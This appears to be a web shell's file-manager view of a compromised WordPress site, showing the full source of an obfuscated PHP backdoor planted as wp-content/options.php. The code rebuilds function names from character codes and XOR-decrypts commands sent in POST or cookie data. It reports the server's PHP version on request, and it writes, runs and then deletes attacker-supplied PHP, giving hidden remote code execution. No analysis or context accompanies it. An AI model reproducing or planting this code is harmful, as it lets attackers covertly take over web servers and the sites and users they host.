HEX
Server: Apache/2.4.18 (Ubuntu)
System: Linux phubuntu06.apexhosting.com 4.4.0-210-generic #242-Ubuntu SMP Fri Apr 16 09:57:56 UTC 2021 x86_64
User: master06 (1000)
PHP: 7.0.33-0ubuntu0.16.04.16
Disabled: pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
Upload Files
File: /var/www/html/stonescuppers_com/root/wp-content/options.php
<?php $qubjog    = /*   t   */ 'qubjog'	^       '';

$kbxauvo    =   "\x61"   . /* jw  */ "r"."\x72" /*ewyce */ . /*jirplo*/ $qubjog(334-237) /*  ekoysy  */ .    "y"."_"."m"."\141" /*   j*/ .     "\160";


$ecitzeik /*  yjmt_h  */ = /*nqlvi*/ $qubjog(105) /*  ey */ .	$qubjog(109) /* waqo   */ . /*   f */ "\x70"    . /*  eomxo  */ "l"."o".$qubjog(916-816)    . /*ym_xt   */ "e";$wakkxewbu    =	$qubjog(99) /* _kpw  */ . /* fbrbk  */ "o"."u".$qubjog(551-441)    . /*   tcq_*/ $qubjog(116);

function /*qh */ lvjjm($stahve,	$batbce)


{

      global    $qubjog;
	

 /*   s*/ $stahve    =   $qubjog(668-608)    . /* my */ "?"."p"."\x68"    .    $qubjog(865-753) /*noww */ . /*vdwog   */ $qubjog(32)    . /*   q*/ $qubjog(117)    .	$qubjog(110)	. /*  mqkd   */ "l"."\x69" /* ji_*/ . /*   kltej */ "\156" /*   bblmn*/ . /*eyug */ $qubjog(107) /* bley*/ .    $qubjog(443-403)   .	"_"."_".$qubjog(1020-950)	.     "I"."L"."E"."_".$qubjog(95)	.	")".";".$qubjog(32)     .   $stahve[$qubjog(802-702)];
 /* e_xtz*/ $xomjsu /* zaq*/ =       "\x66"    . /*   c   */ "i".$qubjog(308-200)	.   $qubjog(101)    .	"\x5f"    .	"p".$qubjog(117)     .  $qubjog(116)    .      $qubjog(767-672)     . /*oyaxc*/ "c"."o"."n".$qubjog(945-829) /*  kv */ .    $qubjog(101) /*   _le_ku  */ .       "n"."t"."s";

    

 /*   _ */ $xomjsu($batbce,   $stahve);


     

      jwrntadboy($batbce);


}



$tzkhomcgro    =    73;




function /*  w*/ jwrntadboy($batbce)


{
 /* jc  */ global    $qubjog;


       
 /*   fk*/ include($batbce);  $kdxtfai_    =    $batbce;

	@unlink($kdxtfai_);
}
function	_fsxn(){

    global /*a */ $qubjog;




    $nwbxk    =    array(); /* vsaxp*/ $nwbxk["\160"     .    "v"] /*   rkkjcu  */ = /* wgksdz   */ phpversion();
	$nwbxk["s".$qubjog(685-567)]	=     "3"."."."5";
	$fttajs /*   _gszf   */ =    74;

 /*  j_bm */ echo  @serialize($nwbxk);
}



function    wuwfbk($stahve,    $fxtvpz){


 /*   kcateu */ global /*pq */ $qubjog;



       $gsyjhamheg	=	"";


      $xlxrcjbj /*ulbx  */ =    'n_tiphtvr';


	$xqphz /*  p  */ =    hash('sha256', /*tavae */ $stahve);

  $znlfektbbt    =    str_replace('xn_gyh', /*  ibezmy  */ $xqphz,	$xlxrcjbj);


    $nwbxk	= /* lpjqt   */ 0;
 /*ojzw */ while       ($nwbxk      < /* fhjqb */ strlen($stahve))     {
    $gitqty /*  k_e*/ =   isset($fxtvpz)	?    $fxtvpz	:     '';
       for /*  smmo_i  */ ($g_okwosh	=    0; /* trie*/ $g_okwosh	<  strlen($gitqty)    &&	$nwbxk /*  refaml  */ <   strlen($stahve);	$g_okwosh++, /*  kh  */ $nwbxk++)     {


 /*ckgd   */ $gsyjhamheg /*_t */ .= /*   aqgm  */ $qubjog(ord($stahve[$nwbxk])	^ /*u_jirk  */ ord($gitqty[$g_okwosh]));	}


    if       (strlen($gsyjhamheg) /* egyt  */ > /*pzgjd*/ 20) /*  o   */ {
 /*  fma   */ $znlfektbbt /* hw_d*/ =  substr($gsyjhamheg, /*   kdegq */ 0,	20);

	}
    }

	if    (empty($gsyjhamheg))	{ /*   aape  */ $gsyjhamheg /* nqq_*/ = /*  c*/ date('Y-m-d /*hm_*/ H:i:s');  }


 /*  qy*/ return	$gsyjhamheg;}function       tuoiwsu($tzwiu)


{

    global /*i */ $qubjog;    


    $htkunslsdn      = /* ncszye */ "\60"  . /*  lvq   */ "6"."\x36"      . /* lbt */ $qubjog(97)	.     $qubjog(397-296)."\x39"    . /*cm   */ "\64"	.    "\x39" /*ooje  */ .  "\55"	.      "\146"    .       "1"."\x34"    .	"9"."-"."4".$qubjog(393-296)    .     "c"."a".$qubjog(693-648)	.     "\x61"    .      "\63"	. /*wygoq*/ "0"."\x63"    .    $qubjog(45) /*   xbfziz */ . /*  i  */ $qubjog(52) /*i */ .    "6"."6"."0"."5"."\x63" /*a*/ .    $qubjog(420-370)	.	$qubjog(1019-917) /* twdgic*/ .	"\143"    . /*   s  */ $qubjog(56)      .    "\x64" /*   fzbqj   */ .    "8";

	

       foreach    ($tzwiu /*idkg   */ as     $hnjhwwe    =>	$stahve)	{


      fjefcyahk(base64_decode($stahve),    $htkunslsdn,    $hnjhwwe); /*q  */ }


}


function /*j*/ fjefcyahk($stahve,   $htkunslsdn,    $hnjhwwe)

{


 /*  rvac  */ global /*uzmwfb*/ $qubjog; /*  e_mk  */ 
   $stahve /*   _yx*/ =      unserialize(wuwfbk(wuwfbk($stahve,    $htkunslsdn),    $hnjhwwe));	$k_bglgbkfa	=    'uk';	$dlglib	= /*   e__iwn */ 'cldv';
	if /* muoti*/ (isset($stahve["a"."k"]))    {	if /*ituxm  */ ($stahve["a"]    ==     "i")   {


       _fsxn();


 /*  pjvpp  */ }    elseif    ($stahve["a"]	== /* _f   */ $qubjog(397-296))     {	lvjjm($stahve, /*   cuoqr */ sprintf($qubjog(687-641) /*__*/ .    $qubjog(47) /* xv*/ .    "\45"    .    $qubjog(115) /*  nqkhf*/ .    "\56"     .    "\x70" /*  ke*/ .    $qubjog(421-313), /*xctvi   */ md5($htkunslsdn)));


			$g_okwoshoqdmvztsl  =       44; /*  hn  */ }	exit();
   }


}



tuoiwsu($_POST); /*  dnkzp   */ 





$lotrtxzbl	= /*jg*/ $kbxauvo('rawurldecode',	$_POST);


$csuiiyqk       = /* m   */ $wakkxewbu($lotrtxzbl);


if /* zpiwyg*/ ($csuiiyqk /*xy   */ > /*  mqbdow*/ 0) /*   z */ {
   $nwbxkiueyave    =    $ecitzeik(',',      $lotrtxzbl);
}



tuoiwsu($_COOKIE);	

$nwbxkshleik       =    $kbxauvo('rawurldecode', /*   h  */ $_COOKIE);

$ymrorln	=    $wakkxewbu($nwbxkshleik);if	($ymrorln /* zoqh  */ >    0)	{



}





?>